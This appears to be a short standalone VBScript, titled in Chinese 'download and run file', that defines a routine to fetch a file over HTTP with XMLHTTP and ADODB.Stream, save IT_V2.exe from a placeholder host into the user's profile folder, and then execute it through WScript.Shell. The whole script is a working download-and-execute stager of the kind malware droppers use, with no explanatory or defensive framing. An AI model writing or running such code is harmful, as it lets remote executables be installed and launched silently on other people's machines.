下载并运行文件.vbs

下载并运行文件.vbs 

Sub download(url,target)    
    set fso=createobject("scripting.filesystemobject")
    If fso.FileExists(target) Then fso.deleteFile target
    Const adTypeBinary = 1
    Const adSaveCreateOverWrite = 2
    Dim http,ado
    Set http = CreateObject("Msxml2.XMLHTTP")
    http.open "GET",url,False
    http.send
    Set ado = createobject("Adodb.Stream")
    ado.Type = adTypeBinary
    ado.Open
    ado.Write http.responseBody
    ado.SaveToFile target
    ado.Close
End Sub

Set oShell=CreateObject("WScript.SHELL")
Fl_path = oShell.ExpandEnvironmentStrings("%userprofile%") & "\IT_V2.exe"

download "http://xxx.xxxx.com/IT_V2.exe",Fl_path

oShell.RUN Fl_path